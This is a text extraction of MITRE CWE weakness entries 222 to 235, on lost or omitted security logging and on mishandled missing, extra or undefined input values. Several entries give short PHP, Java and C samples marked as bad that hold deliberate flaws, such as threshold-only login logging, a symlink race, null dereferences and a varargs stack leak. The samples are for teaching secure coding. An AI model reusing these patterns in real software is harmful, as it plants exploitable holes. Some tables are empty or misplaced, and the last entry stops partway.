The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-222: Truncation of Security-relevant Information

**Weakness ID** : 222

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The application truncates the display, recording, or processing of security-relevant information in a way that can obscure the source or nature of an attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		221	Information Loss or Omission	489

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		221	Information Loss or Omission	489

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities  <i>The source of an attack will be difficult or impossible to determine. This can allow attacks to the system to continue without notice.</i>	

### Observed Examples

Reference	Description
<b>CVE-2005-0585</b>	Web browser truncates long sub-domains or paths, facilitating phishing. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0585">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0585</a>
<b>CVE-2004-2032</b>	Bypass URL filter via a long URL with a large number of trailing hex-encoded space characters. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2032">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2032</a>
<b>CVE-2003-0412</b>	Does not log complete URI of a long request (truncation). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0412">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0412</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		884	CWE Cross-section	884	1681
MemberOf		997	SFP Secondary Cluster: Information Loss	888	1645

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Truncation of Security-relevant Information

## CWE-223: Omission of Security-relevant Information

**Weakness ID** : 223

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The application does not record or display information that would be important for identifying the source or nature of an attack, or determining if an action is safe.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		221	Information Loss or Omission	489
ParentOf		778	Insufficient Logging	1352

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1009	Audit	1649

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		221	Information Loss or Omission	489
ParentOf		778	Insufficient Logging	1352

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities  <i>The source of an attack will be difficult or impossible to determine. This can allow attacks to the system to continue without notice.</i>	

## Demonstrative Examples

### Example 1:

This code logs suspicious multiple login attempts.

*Example Language: PHP*

*(bad)*

```
function login($userName,$password){ if(authenticate($userName,$password)){return True;}else{incrementLoginAttempts($userName);if(recentLoginAttempts($userName) > 5){writeLog("Failed login attempt by User: " . $userName . " at " + date('r') );}} }
```

This code only logs failed login attempts when a certain limit is reached. If an attacker knows this limit, they can stop their attack from being discovered by avoiding the limit.

## Observed Examples

Reference	Description
<b>CVE-1999-1029</b>	Login attempts not recorded if user disconnects before maximum number of tries. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1029">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1029</a>
<b>CVE-2002-1839</b>	Sender's IP address not recorded in outgoing e-mail. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1839">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1839</a>
<b>CVE-2000-0542</b>	Failed authentication attempt not recorded if later attempt succeeds. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0542">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0542</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

MemberOf	C	997	SFP Secondary Cluster: Information Loss	888	1645
MemberOf	C	1036	OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring	1026	1665

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Omission of Security-relevant Information

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-224: Obscured Security-relevant Information by Alternate Name

<b>Weakness ID</b> : 224	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software records security-relevant information according to an alternate name of the affected entity, instead of the canonical name.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	221	Information Loss or Omission	489

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1009	Audit	1649

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	C	221	Information Loss or Omission	489

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	
Access Control	Gain Privileges or Assume Identity	

## Demonstrative Examples

### Example 1:

This code prints the contents of a file if a user has permission.

Example Language: PHP

(bad)

```
function readfile($filename){ $user = getCurrentUser();$realFile = $filename; //resolve file if its a
symbolic link if(is_link($filename)){ $realFile = readlink($filename);} if(fileowner($realFile) == $user){echo
file_get_contents($realFile);return;}else{echo 'Access denied';writeLog($user . ' attempted to access the file ' . $filename . '
on ' . date('r'));} }
```

While the code logs a bad access attempt, it logs the user supplied name for the file, not the canonicalized file name. An attacker can obscure their target by giving the script the name of a link to the file they are attempting to access. Also note this code contains a race condition between the `is_link()` and `readlink()` functions (CWE-363).

## Observed Examples

Reference	Description
<b>CVE-2002-0725</b>	Attacker performs malicious actions on a hard link to a file, obscuring the real target file. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0725">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0725</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		997	SFP Secondary Cluster: Information Loss	888	1645

## CWE-226: Sensitive Information Uncleared Before Release

Weakness ID : 226

Status: Draft

Structure : Simple

Abstraction : Base

### Description

The software does not fully clear previously used information in a data structure, file, or other resource, before making that resource available to a party in another control sphere.

### Extended Description

This typically results from new data that is not as long as the old data, which leaves portions of the old data still available. Equivalent errors can occur in other situations where the length of data is variable but the associated data structure is not. If memory is not cleared after use, it may allow unintended actors to read the data when the memory is reallocated.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## Functional Areas

- Memory Management
- Networking

### Affected Resources

- Memory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1566
MemberOf	<b>C</b>	742	CERT C Secure Coding (2008 Version) Section 08 - Memory Management (MEM)	734	1574
MemberOf	<b>C</b>	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1604
MemberOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	888	1627

### Notes

#### Relationship

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

#### Maintenance

This entry needs modification to clarify the differences with CWE-212. The description also combines two problems that are distinct from the CWE research perspective - the inadvertent transfer of information to another sphere, and improper initialization/shutdown. Some of the associated taxonomy mappings reflect these different uses.

#### Research Gap

Currently frequently found for network packets, but it can also exist in local memory allocation, files, etc.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Sensitive Information Uncleared Before Use
CERT C Secure Coding	MEM03-C		Clear sensitive information stored in reusable resources returned for reuse
Software Fault Patterns	SFP23		Exposed Data

## CWE-228: Improper Handling of Syntactically Invalid Structure

**Weakness ID** : 228

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		703	Improper Check or Handling of Exceptional Conditions	1271
ChildOf		707	Improper Enforcement of Message or Data Structure	1277
ParentOf		229	Improper Handling of Values	498
ParentOf		233	Improper Handling of Parameters	502
ParentOf		237	Improper Handling of Structural Elements	508
ParentOf		241	Improper Handling of Unexpected Data Type	512

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Representation Errors	1535
ParentOf		229	Improper Handling of Values	498
ParentOf		233	Improper Handling of Parameters	502
ParentOf		237	Improper Handling of Structural Elements	508
ParentOf		241	Improper Handling of Unexpected Data Type	512

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU)	
	<i>If an input is syntactically invalid, then processing the input could place the system in an unexpected state that could lead to a crash, consume available system resources or other unintended behaviors.</i>	

## Demonstrative Examples

### Example 1:

This application has registered to handle a URL when sent an intent:

*Example Language: Java*

*(bad)*

```
... IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");MyReceiver
receiver = new MyReceiver();registerReceiver(receiver, filter); ... public class UriHandlerReceiver
extends BroadcastReceiver { @Overridepublic void onReceive(Context context, Intent intent)
{ if("com.example.URLHandler.openURL".equals(intent.getAction())) {String URL = intent.getStringExtra("URLToOpen");int
length = URL.length(); ... } } }
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	1566
MemberOf		884	CWE Cross-section	884	1681
MemberOf		993	SFP Secondary Cluster: Incorrect Input Handling	888	1644

## Notes

### Maintenance

This entry needs more investigation. Public vulnerability research generally focuses on the manipulations that generate invalid structure, instead of the weaknesses that are exploited by those manipulations. For example, a common attack involves making a request that omits a required field, which can trigger a crash in some cases. The crash could be due to a named chain such as CWE-690 (Unchecked Return Value to NULL Pointer Dereference), but public reports rarely cover this aspect of a vulnerability.

### Maintenance

The validity of input could be roughly classified along "syntactic", "semantic", and "lexical" dimensions. If the specification requires that an input value should be delimited with the "[" and "]" square brackets, then any input that does not follow this specification would be syntactically invalid. If the input between the brackets is expected to be a number, but the letters "aaa" are provided, then the input is syntactically invalid. If the input is a number and enclosed in brackets, but the number is outside of the allowable range, then it is semantically invalid. The inter-relationships between these properties - and their associated weaknesses- need further exploration.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Structure and Validity Problems
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

## CWE-229: Improper Handling of Values

**Weakness ID :** 229

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The software does not properly handle when the expected number of values for parameters, fields, or arguments is not provided in input, or if those values are undefined.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

ChildOf		228	Improper Handling of Syntactically Invalid Structure	496
ParentOf		230	Improper Handling of Missing Values	499
ParentOf		231	Improper Handling of Extra Values	500
ParentOf		232	Improper Handling of Undefined Values	501

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		993	SFP Secondary Cluster: Incorrect Input Handling	888	1644

## CWE-230: Improper Handling of Missing Values

<b>Weakness ID</b> : 230	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software does not handle or incorrectly handles when a parameter, field, or argument name is specified, but the associated value is missing, i.e. it is empty, blank, or null.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		229	Improper Handling of Values	498

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		229	Improper Handling of Values	498

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Demonstrative Examples

### Example 1:

This application has registered to handle a URL when sent an intent:

Example Language: Java

(bad)

```
... IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");MyReceiver
receiver = new MyReceiver();registerReceiver(receiver, filter); ... public class UrlHandlerReceiver
extends BroadcastReceiver { @Overridepublic void onReceive(Context context, Intent intent)
{ if("com.example.URLHandler.openURL".equals(intent.getAction())) {String URL = intent.getStringExtra("URLToOpen");int
length = URL.length(); ... } } }
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

### Observed Examples

Reference	Description
<b>CVE-2002-0422</b>	Blank Host header triggers resultant infoleak. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0422">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0422</a>
<b>CVE-2000-1006</b>	Blank "charset" attribute in MIME header triggers crash. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1006">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1006</a>
<b>CVE-2004-1504</b>	Blank parameter causes external error infoleak. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1504">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1504</a>
<b>CVE-2005-2053</b>	Blank parameter causes external error infoleak. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2053">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2053</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)	844	1593
MemberOf		993	SFP Secondary Cluster: Incorrect Input Handling	888	1644

### Notes

#### Research Gap

Some "crash by port scan" bugs are probably due to this, but lack of diagnosis makes it difficult to be certain.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Value Error
CERT Java Secure Coding	ERR08-J		Do not catch NullPointerException or any of its ancestors

## CWE-231: Improper Handling of Extra Values

Weakness ID : 231  
Structure : Simple  
Abstraction : Variant

Status: Draft

### Description

The software does not handle or incorrectly handles when more values are provided than expected.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		229	Improper Handling of Values	498
CanPrecede		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	273

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		229	Improper Handling of Values	498

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		993	SFP Secondary Cluster: Incorrect Input Handling	888	1644

## Notes

### Relationship

This can overlap buffer overflows.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Extra Value Error

## CWE-232: Improper Handling of Undefined Values

**Weakness ID** : 232

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

## Description

The software does not handle or incorrectly handles when a value is not defined or supported for the associated parameter, field, or argument name.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		229	Improper Handling of Values	498

Relevant to the view "Development Concepts" (CWE-699)

Nature	Type	ID	Name	Page
ChildOf		229	Improper Handling of Values	498

### Applicable Platforms

**Language** : Language-Independent (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Demonstrative Examples

#### Example 1:

In this example, an address parameter is read and trimmed of whitespace.

Example Language: Java

(bad)

```
String address = request.getParameter("address");address = address.trim();String updateString = "UPDATE shippingInfo SET address='?' WHERE email='cwe@example.com';emailAddress = con.prepareStatement(updateString);emailAddress.setString(1, address);
```

If the value of the address parameter is null (undefined), the servlet will throw a NullPointerException when the trim() is attempted.

### Observed Examples

Reference	Description
<b>CVE-2000-1003</b>	Client crash when server returns unknown driver type. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1003">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1003</a>

### MemberOf Relationships

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Undefined Value Error
CERT Java Secure Coding	ERR08-J		Do not catch NullPointerException or any of its ancestors

## CWE-233: Improper Handling of Parameters

**Weakness ID** : 233

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

## Description

The software does not properly handle when the expected number of parameters, fields, or arguments is not provided in input, or if those parameters are undefined.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		228	Improper Handling of Syntactically Invalid Structure	496
ParentOf		234	Failure to Handle Missing Parameter	504
ParentOf		235	Improper Handling of Extra Parameters	506
ParentOf		236	Improper Handling of Undefined Parameters	507

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		228	Improper Handling of Syntactically Invalid Structure	496
ParentOf		234	Failure to Handle Missing Parameter	504
ParentOf		235	Improper Handling of Extra Parameters	506
ParentOf		236	Improper Handling of Undefined Parameters	507

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## Demonstrative Examples

### Example 1:

This application has registered to handle a URL when sent an intent:

*Example Language: Java*

*(bad)*

```
... IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");MyReceiver
receiver = new MyReceiver();registerReceiver(receiver, filter); ... public class UriHandlerReceiver
extends BroadcastReceiver { @Overridepublic void onReceive(Context context, Intent intent)
{ if("com.example.URLHandler.openURL".equals(intent.getAction())) {String URL = intent.getStringExtra("URLToOpen");int
length = URL.length(); ... } } }
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

## MemberOf Relationships

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Parameter Problems

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
39	Manipulating Opaque Client-based Data Tokens

## CWE-234: Failure to Handle Missing Parameter

**Weakness ID :** 234

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

### Description

If too few arguments are sent to a function, the function will still pop the expected number of arguments from the stack. Potentially, a variable number of arguments could be exhausted in a function as well.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		233	Improper Handling of Parameters	502

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		233	Improper Handling of Parameters	502

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Gain Privileges or Assume Identity	
Availability	<i>There is the potential for arbitrary code execution with privileges of the vulnerable program if function parameter list is exhausted.</i>	
Access Control		
Availability	DoS: Crash, Exit, or Restart	
	<i>Potentially a program could fail if it needs more arguments then are available.</i>	

### Potential Mitigations

#### Phase: Build and Compilation

This issue can be simply combated with the use of proper build process.

#### Phase: Implementation

Forward declare all functions. This is the recommended solution. Properly forward declaration of all used functions will result in a compiler error if too few arguments are sent to a function.

## Demonstrative Examples

### Example 1:

The following example demonstrates the weakness.

Example Language: C

(bad)

```
foo_func(one, two); void foo_func(int one, int two, int three) {printf("1) %d\n2) %d\n3) %d\n", one, two, three);}
```

Example Language: C

(bad)

```
void some_function(int foo, ...) {int a[3], i;va_list ap;va_start(ap, foo);for (i = 0; i < sizeof(a) / sizeof(int); i++) a[i] = va_arg(ap, int);va_end(ap);} int main(int argc, char *argv[]) {some_function(17, 42);}
```

This can be exploited to disclose information with no work whatsoever. In fact, each time this function is run, it will print out the next 4 bytes on the stack after the two numbers sent to it.

## Observed Examples

Reference	Description
<b>CVE-2004-0276</b>	Server earlier allows remote attackers to cause a denial of service (crash) via an HTTP request with a sequence of "%" characters and a missing Host field. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0276">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0276</a>
<b>CVE-2002-1488</b>	Chat client allows remote malicious IRC servers to cause a denial of service (crash) via a PART message with (1) a missing channel or (2) a channel that the user is not in. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1488">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1488</a>
<b>CVE-2002-1169</b>	Proxy allows remote attackers to cause a denial of service (crash) via an HTTP request to helpout.exe with a missing HTTP version numbers. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1169">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1169</a>
<b>CVE-2000-0521</b>	Web server allows disclosure of CGI source code via an HTTP request without the version number. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0521">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0521</a>
<b>CVE-2001-0590</b>	Application server allows a remote attacker to read the source code to arbitrary 'jsp' files via a malformed URL request which does not end with an HTTP protocol specification. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0590">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0590</a>
<b>CVE-2003-0239</b>	Chat software allows remote attackers to cause a denial of service via malformed GIF89a headers that do not contain a GCT (Global Color Table) or an LCT (Local Color Table) after an Image Descriptor. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0239">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0239</a>
<b>CVE-2002-1023</b>	Server allows remote attackers to cause a denial of service (crash) via an HTTP GET request without a URI. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1023">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1023</a>
<b>CVE-2002-1236</b>	CGI crashes when called without any arguments. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1236">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1236</a>
<b>CVE-2003-0422</b>	CGI crashes when called without any arguments. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0422">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0422</a>
<b>CVE-2002-1531</b>	Crash in HTTP request without a Content-Length field. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1531">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1531</a>
<b>CVE-2002-1077</b>	Crash in HTTP request without a Content-Length field. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1077">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1077</a>
<b>CVE-2002-1358</b>	Empty elements/strings in protocol test suite affect many SSH2 servers/clients. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1358">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1358</a>
<b>CVE-2003-0477</b>	FTP server crashes in PORT command without an argument. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0477">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0477</a>

Reference	Description
<b>CVE-2002-0107</b>	Resultant infoleak in web server via GET requests without HTTP/1.0 version string. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0107">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0107</a>
<b>CVE-2002-0596</b>	GET request with empty parameter leads to error message infoleak (path disclosure). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0596">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0596</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	993	SFP Secondary Cluster: Incorrect Input Handling	888	1644

### Notes

#### Maintenance

This entry will be deprecated in a future version of CWE. The term "missing parameter" was used in both PLOVER and CLASP, with completely different meanings. However, data from both taxonomies was merged into this entry. In PLOVER, it was meant to cover malformed inputs that do not contain required parameters, such as a missing parameter in a CGI request. This entry's observed examples and classification came from PLOVER. However, the description, demonstrative example, and other information are derived from CLASP. They are related to an incorrect number of function arguments, which is already covered by CWE-685.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Parameter Error
CLASP			Missing parameter

## CWE-235: Improper Handling of Extra Parameters

**Weakness ID** : 235

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The software does not handle or incorrectly handles when the number of parameters, fields, or arguments with the same name exceeds the expected amount.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Integrity	Varies by Context	
Other	Unexpected State	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

